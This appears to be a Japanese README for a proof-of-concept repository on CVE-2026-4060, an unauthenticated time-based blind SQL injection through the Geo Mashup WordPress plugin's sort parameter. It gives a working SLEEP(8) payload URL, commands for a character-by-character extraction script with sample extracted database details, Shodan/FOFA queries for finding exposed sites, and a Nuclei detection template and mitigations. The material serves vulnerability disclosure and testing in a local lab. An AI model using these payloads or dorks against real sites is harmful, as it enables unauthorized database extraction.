
CVE-2026-4060 の概念実証: Geo Mashup WordPress プラグインの ORDER BY 句を介した認証不要の時間ベースのブラインド SQL インジェクション。エクスプロイトスクリプト、ラボ環境、Nuclei 検出テンプレートが含まれます。
認証なしの攻撃者は、Geo Mashup の
render-mapエンドポイントのsortパラメータを介してORDER BY句に任意のSQLを注入し、機密データベース情報の時間ベースのブラインド抽出を可能にします。
render-map エンドポイントが受け取る sort パラメータは、サニタイズなしで $wpdb->get_results() 呼び出しに直接渡されます:
// render-map.php (simplified)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
"SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);
$sort がそのまま展開されるため、攻撃者は ORDER BY 句にサブクエリを注入できます。WordPress の wpdb はシングルクォートをエスケープするため、PoC では ORD(SUBSTRING(...)) と数値比較を使用してこの制限を回避し、時間ベースのブラインド抽出を実行します。
脆弱なエンドポイント:
GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
┌─────────────────────────────────┐
│ Host (localhost:8080) │
│ │
│ ┌─────────────┐ ┌──────────┐ │
│ │ WordPress │ │ MariaDB │ │
│ │ 6.8.2+PHP82 │──│ 11.4 │ │
│ │ :80 │ │ :3306 │ │
│ └─────────────┘ └──────────┘ │
│ + Geo Mashup 1.13.18 │
└─────────────────────────────────┘
WordPress 管理画面で有効化されている Geo Mashup 1.13.18:

git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh
setup.sh は以下を行います:
完了後:
http://localhost:8080http://localhost:8080/wp-admin(ユーザー: admin / パスワード: admin)time curl -s -o /dev/null \
"http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"
約8秒のレスポンス遅延により、ORDER BY へのSQLインジェクションが確認できます。
# Default — print extracted results only
python3 poc.py --url http://localhost:8080
# Verbose — show each payload, response time, and extracted character
python3 poc.py --url http://localhost:8080 --verbose
# Confirm SQLi only, skip data extraction
python3 poc.py --url http://localhost:8080 --confirm-only
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080
docker compose down -v
sort パラメータを介して SLEEP(8) サブクエリを注入すると、約8秒のレスポンス遅延が発生します。
time curl -s -o /dev/null \
"http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

PoC は ORD(SUBSTRING(...)) の比較を使用してデータを1文字ずつ抽出します。ペイロードを送信 → レスポンス時間を測定 → SLEEP が発火した文字を確定します。
python3 poc.py --url http://localhost:8080 --verbose

抽出されたデータ:
| クエリ | 結果 |
|---|---|
VERSION() | 11.4.10-MariaDB |
DATABASE() | wordpress |
USER() | [email protected] |
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29
Scan completed in 8.07s. 1 matches found.
Nuclei テンプレートは誤検知を防ぐために2段階のフローを使用します。
Step 1 で readme.txt が 404 を返す場合、スキャンはSQLペイロードを送信せずに即座に終了します。
Scan completed in 62ms. 0 matches found. ✅
readme.txt によるプラグインバージョンの確認:

compare_versions(version, '<= 1.13.18') が失敗すると、Step 2 は完全にスキップされます。
Scan completed in 19ms. 0 matches found. ✅
| 対策 | 詳細 |
|---|---|
| 更新 | Geo Mashup を 1.13.19 以降にアップグレード |
| 一時対応 | 更新が適用されるまでプラグインを無効化 |
| WAF | ORDER BY 句へのサブクエリ注入パターンをブロック |
パッチコミット: plugins.trac.wordpress.org/changeset/3503627
Nuclei テンプレート: nuclei/CVE-2026-4060.yaml
検出フロー:
Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
→ confirm plugin exists + version <= 1.13.18
Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
→ status 200 + GeoMashup.createMap + duration >= 8s
Shodan / FOFA:
Shodan: http.html:"geo-mashup"
FOFA: body="geo-mashup"
| 日付 | 出来事 |
|---|---|
| 2026-04 | 脆弱性を発見 |
| 2026-04 | プラグイン作者に報告 |
| 2026-05 | Geo Mashup 1.13.19 パッチをリリース |
| 2026-05-14 | CVE が採番され公開 |
このリポジトリは教育および許可されたセキュリティテストのみを目的としています。
所有していない、または明示的な書面によるテスト許可を得ていないシステムに対して使用しないでください。
作者は本資料の不正使用について一切の責任を負いません。
| フィールド | 詳細 |
|---|
| CVE | CVE-2026-4060 |
| プラグイン | Geo Mashup by cyberhobo |
| 影響を受けるバージョン | ≤ 1.13.18 |
| 修正バージョン | 1.13.19 |
| CVSS v3.1 | 7.5(高) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-89 — SQLにおける特殊要素の不適切な無害化 |
| 認証要件 | なし(認証不要) |
| コンポーネント | バージョン |
|---|
| OS | macOS (Darwin 25.4.0) |
| Docker | 27.x |
| WordPress | 6.8.2 (PHP 8.2, Apache) |
| MariaDB | 11.4 |
| Geo Mashup | 1.13.18(脆弱) |
| Python | 3.x(poc.py 用) |
| Nuclei | v3.8.0 |